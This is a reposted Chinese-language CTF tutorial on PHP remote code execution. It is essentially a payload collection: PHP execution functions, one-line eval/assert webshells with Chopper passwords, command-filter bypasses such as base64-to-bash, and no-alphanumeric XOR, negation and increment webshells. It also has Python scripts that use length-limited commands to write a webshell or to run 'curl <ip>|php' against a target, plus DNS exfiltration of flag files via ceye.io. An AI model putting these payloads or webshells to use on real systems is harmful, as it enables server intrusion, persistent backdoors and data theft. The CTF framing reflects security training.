CTF中WEB題——RCE


CTF中WEB題——RCE

相關函數

命令執行

  • system()

    #string system ( string $command [, int &$return_var ] )
    #system()函數執行有回顯,將執行結果輸出到頁面上
    <?php
    	system("whoami");
    ?>
    
  • exec()

    
    <?php
    	echo exec("whoami");
    ?>
    
  • popen()

    #resource popen ( string $command , string $mode )
    #函數需要兩個參數,一個是執行的命令command,另外一個是指針文件的連接模式mode,有r和w代表讀#和寫。函數不會直接返回執行結果,而是返回一個文件指針,但是命令已經執行
    <?php popen( 'whoami >> c:/1.txt', 'r' ); ?>
    
    <?php  
    $test = "ls /tmp/test";  
    $fp = popen($test,"r");  //popen打一個進程通道  
      
    while (!feof($fp)) {      //從通道里面取得東西  
     $out = fgets($fp, 4096);  
     echo  $out;         //打印出來  
    }  
    pclose($fp);  
    ?> 
    
  • proc_open()

    resource proc_open ( 
    string $cmd , 
    array $descriptorspec , 
    array &$pipes [, string $cwd [, array $env [, array $other_options ]]] 
    )
    #與Popen函數類似,但是可以提供雙向管道
    <?php  
    $test = "ipconfig";  
    $array =   array(  
     array("pipe","r"),   //標准輸入  
     array("pipe","w"),   //標准輸出內容  
     array("pipe","w")    //標准輸出錯誤  
     );  
      
    $fp = proc_open($test,$array,$pipes);   //打開一個進程通道  
    echo stream_get_contents($pipes[1]);    //為什么是$pipes[1],因為1是輸出內容  
    proc_close($fp);  
    ?> 
    
  • passthru()

    #void passthru ( string $command [, int &$return_var ] )
    <?php
    	passthru("whoami");
    ?>
    
  • shell_exec()

    #string shell_exec( string &command)
    <?php
    	echo shell_exec("whoami");
    ?>
    
  • 反引號 `

    #shell_exec() 函數實際上僅是反撇號 (`) 操作符的變體,當禁用shell_exec時,` 也不可執行
    <?php
    	echo `whoami`;
    ?>
    
  • pcntl_exec()

    #void pcntl_exec ( string $path [, array $args [, array $envs ]] )
    #path是可執行二進制文件路徑或一個在文件第一行指定了 一個可執行文件路徑標頭的腳本
    #args是一個要傳遞給程序的參數的字符串數組。
    #pcntl是linux下的一個擴展,需要額外安裝,可以支持 php 的多線程操作。
    #pcntl_exec函數的作用是在當前進程空間執行指定程序,版本要求:PHP > 4.2.0
    <?php 
    	pcntl_exec ( "/bin/bash" , array("whoami"));
    ?>
    

代碼注入

  • eval()

    #傳入的參數必須為PHP代碼,既需要以分號結尾。
    #命令執行:cmd=system(whoami);
    #菜刀連接密碼:cmd
    <?php @eval($_POST['cmd']);?>
    
  • assert()

    #assert函數是直接將傳入的參數當成PHP代碼直接,不需要以分號結尾,當然你加上也可以。
    #命令執行:cmd=system(whoami)
    #菜刀連接密碼:cmd
    <?php @assert($_POST['cmd'])?>
    
  • preg_replace()

    #preg_replace('正則規則','替換字符','目標字符')
    #執行命令和上傳文件參考assert函數(不需要加分號)。
    #將目標字符中符合正則規則的字符替換為替換字符,此時如果正則規則中使用/e修飾符,則存在代碼執行漏洞。
    preg_replace("/test/e",$_POST["cmd"],"jutst test");
    
  • create_function()

    #創建匿名函數執行代碼
    #執行命令和上傳文件參考eval函數(必須加分號)。
    #菜刀連接密碼:cmd
    $func =create_function('',$_POST['cmd']);$func();
    
  • array_map()

    #array_map() 函數將用戶自定義函數作用到數組中的每個值上,並返回用戶自定義函數作用后的帶有新值的數組。 回調函數接受的參數數目應該和傳遞給 array_map() 函數的數組數目一致。
    #命令執行http://localhost/123.php?func=system   cmd=whoami
    #菜刀連接http://localhost/123.php?func=assert   密碼:cmd
    $func=$_GET['func'];
    $cmd=$_POST['cmd'];
    $array[0]=$cmd;
    $new_array=array_map($func,$array);
    echo $new_array;
    
  • call_user_func()

    #傳入的參數作為assert函數的參數
    #cmd=system(whoami)
    #菜刀連接密碼:cmd
    call_user_func("assert",$_POST['cmd']);
    
  • call_user_func_array()

    #將傳入的參數作為數組的第一個值傳遞給assert函數
    #cmd=system(whoami)
    #菜刀連接密碼:cmd
    $cmd=$_POST['cmd'];
    $array[0]=$cmd;
    call_user_func_array("assert",$array);
    
  • array_filter()

    #用回調函數過濾數組中的元素:array_filter(數組,函數)
    #命令執行func=system&cmd=whoami
    #菜刀連接http://localhost/123.php?func=assert  密碼cmd
    $cmd=$_POST['cmd'];
    $array1=array($cmd);
    $func =$_GET['func'];
    array_filter($array1,$func);
    
  • uasort()

    #php環境>=<5.6才能用
    #uasort() 使用用戶自定義的比較函數對數組中的值進行排序並保持索引關聯 。
    #命令執行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
    #菜刀連接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd])   密碼:cmd
    usort($_GET,'asse'.'rt');
    

繞過方式

空格

#常見的繞過符號有:
$IFS$9 、${IFS} 、%09(php環境下)、 重定向符<>、<、

#$IFS在linux下表示分隔符,如果不加{}則bash會將IFS解釋為一個變量名,加一個{}就固定了變量名,$IFS$9后面之所以加個$是為了起到截斷的作用

命令分隔符

%0a  #換行符,需要php環境
%0d  #回車符,需要php環境
;    #在 shell 中,是”連續指令”
&    #不管第一條命令成功與否,都會執行第二條命令
&&   #第一條命令成功,第二條才會執行
|    #第一條命令的結果,作為第二條命令的輸入
||   #第一條命令失敗,第二條才會執行

關鍵字

假如過濾了關鍵字cat\flag,無法讀取不了flag.php,又該如何去做

  • 拼接繞過

    #執行ls命令:
    a=l;b=s;$a$b
    #cat flag文件內容:
    a=c;b=at;c=f;d=lag;$a$b ${c}${d}
    #cat test文件內容
    a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test
    
  • 編碼繞過

    #base64
    echo "Y2F0IC9mbGFn"|base64 -d|bash  ==> cat /flag
    echo Y2F0IC9mbGFn|base64 -d|sh      ==> cat /flag
    #hex
    echo "0x636174202f666c6167" | xxd -r -p|bash   ==> cat /flag
    #oct/字節
    $(printf "\154\163") ==>ls
    $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
    {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
    #i也可以通過這種方式寫馬
    #內容為<?php @eval($_POST['c']);?>
    ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
    
  • 單引號和雙引號繞過

    c'a't test
    c"a"t test
    
  • 反斜杠繞過

    ca\t test
    
  • 通過$PATH繞過

    #echo $PATH 顯示當前PATH環境變量,該變量的值由一系列以冒號分隔的目錄名組成
    #當執行程序時,shell自動跟據PATH變量的值去搜索該程序
    #shell在搜索時先搜索PATH環境變量中的第一個目錄,沒找到再接着搜索,如果找到則執行它,不會再繼續搜索
    echo $PATH 
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    `echo $PATH| cut -c 8,9`t test
    
  • 通配符繞過

    1. […]表示匹配方括號之中的任意一個字符
    2. {…}表示匹配大括號里面的所有模式,模式之間使用逗號分隔。
    3. {…}與[…]有一個重要的區別,當匹配的文件不存在,[…]會失去模式的功能,變成一個單純的字符串,而{…}依然可以展開
    cat t?st
    cat te*
    cat t[a-z]st
    cat t{a,b,c,d,e,f}st
    

限制長度

>a    #雖然沒有輸入但是會創建a這個文件
ls -t    #ls基於基於事件排序(從晚到早)
sh a    #sh會把a里面的每行內容當作命令來執行
使用|進行命令拼接    #l\ s    =    ls
base64    #使用base64編碼避免特殊字符
  • 七字符限制

    w>hp
    w>1.p\\
    w>d\>\\
    w>\ -\\
    w>e64\\
    w>bas\\
    w>7\|\\
    w>XSk\\
    w>Fsx\\
    w>dFV\\
    w>kX0\\
    w>bCg\\
    w>XZh\\
    w>AgZ\\
    w>waH\\
    w>PD9\\
    w>o\ \\
    w>ech\\
    ls -t|\
    sh
    

    翻譯過來就是

    echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d > 1.php
    

    腳本代碼

    import requests
     
    url = "http://192.168.1.100/rce.php?1={0}"
    print("[+]start attack!!!")
    with open("payload.txt","r") as f:
    	for i in f:
    		print("[*]" + url.format(i.strip()))
    		requests.get(url.format(i.strip()))
     
    #檢查是否攻擊成功
    test = requests.get("http://192.168.61.157/1.php")
    if test.status_code == requests.codes.ok:
    	print("[*]Attack success!!!")
    
  • 四字符限制

    #-*-coding:utf8-*-
    import requests as r
    from time import sleep
    import random
    import hashlib
    target = 'http://52.197.41.31/'
     
    # 存放待下載文件的公網主機的IP
    shell_ip = 'xx.xx.xx.xx'
     
    # 本機IP
    your_ip = r.get('http://ipv4.icanhazip.com/').text.strip()
     
    # 將shell_IP轉換成十六進制
    ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2))
                         for i in shell_ip.split('.')])
     
    reset = target + '?reset'
    cmd = target + '?cmd='
    sandbox = target + 'sandbox/' + 
        hashlib.md5('orange' + your_ip).hexdigest() + '/'
     
    # payload某些位置的可選字符
    pos0 = random.choice('efgh')
    pos1 = random.choice('hkpq')
    pos2 = 'g'  # 隨意選擇字符
     
    payload = [
        '>dir',
        # 創建名為 dir 的文件
     
        '>%s>' % pos0,
        # 假設pos0選擇 f , 創建名為 f> 的文件
     
        '>%st-' % pos1,
        # 假設pos1選擇 k , 創建名為 kt- 的文件,必須加個pos1,
        # 因為alphabetical序中t>s
     
        '>sl',
        # 創建名為 >sl 的文件;到此處有四個文件,
        # ls 的結果會是:dir f> kt- sl
     
        '*>v',
        # 前文提到, * 相當於 `ls` ,那么這條命令等價於 `dir f> kt- sl`>v ,
        #  前面提到dir是不換行的,所以這時會創建文件 v 並寫入 f> kt- sl
        # 非常奇妙,這里的文件名是 v ,只能是v ,沒有可選字符
     
        '>rev',
        # 創建名為 rev 的文件,這時當前目錄下 ls 的結果是: dir f> kt- rev sl v
     
        '*v>%s' % pos2,
        # 魔法發生在這里: *v 相當於 rev v ,* 看作通配符。前文也提過了,體會一下。
        # 這時pos2文件,也就是 g 文件內容是文件v內容的反轉: ls -tk > f
     
        # 續行分割 curl 0x11223344|php 並逆序寫入
        '>p',
        '>ph\',
        '>|\',
        '>%s\' % ip[8:10],
        '>%s\' % ip[6:8],
        '>%s\' % ip[4:6],
        '>%s\' % ip[2:4],
        '>%s\' % ip[0:2],
        '> \',
        '>rl\',
        '>cu\',
     
        'sh ' + pos2,
        # sh g ;g 的內容是 ls -tk > f ,那么就會把逆序的命令反轉回來,
        # 雖然 f 的文件頭部會有雜質,但不影響有效命令的執行
        'sh ' + pos0,
        # sh f 執行curl命令,下載文件,寫入木馬。
    ]
     
    s = r.get(reset)
    for i in payload:
        assert len(i) <= 4
        s = r.get(cmd + i)
        print '[%d]' % s.status_code, s.url
        sleep(0.1)
    s = r.get(sandbox + 'fun.php?cmd=uname -a')
    print '[%d]' % s.status_code, s.url
    print s.text
    

限制回顯

  • 判斷

    #利用sleep判斷
    ls;sleep 3
    #http請求/dns請求
    http://ceye.io/payloads
    
  • 利用

    #寫shell(直接寫入/外部下載)
    echo >
    wget
    #http/dns等方式帶出數據
    #需要去掉空格,可以使用sed等命令
    echo `cat flag.php|sed s/[[:space:]]//`.php.xxxxxx.ceye.io
    

無字母、數字getshell

異或

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

簡短寫法

"`{{{"^"?<>/"   //_GET

取反

<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST

$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])

簡短寫法

${~"\xa0\xb8\xba\xab"} //$_GET

自增

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

實例

<?php
include'flag.php';

if(isset($_GET['code'])){
   $code=$_GET['code'];
   if(strlen($code)>50){
       die("Too Long.");
  }
   if(preg_match("/[A-Za-z0-9_]+/",$code)){
       die("Not Allowed.");
  }
   @eval($code);
}else{
   highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?> 

payload:

code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

$_="{{{"^"?<>/";=$_="GET";
${$_}[_](${$_}[__]);=$_GET[_]($_GET[__]);=getFlag($_GET[__])=getFlag(null);
這個 payload 的長度是 37 ,符合題目要求的 小於等於40 。另fuzz 出了長度為 28 的 payload ,如下:

$_="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$_();
#getFlag()

代碼執行參考鏈接

命令執行參考鏈接

繞過姿勢參考

繞過方式參考

繞過字符限制

無字母數字getshell


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM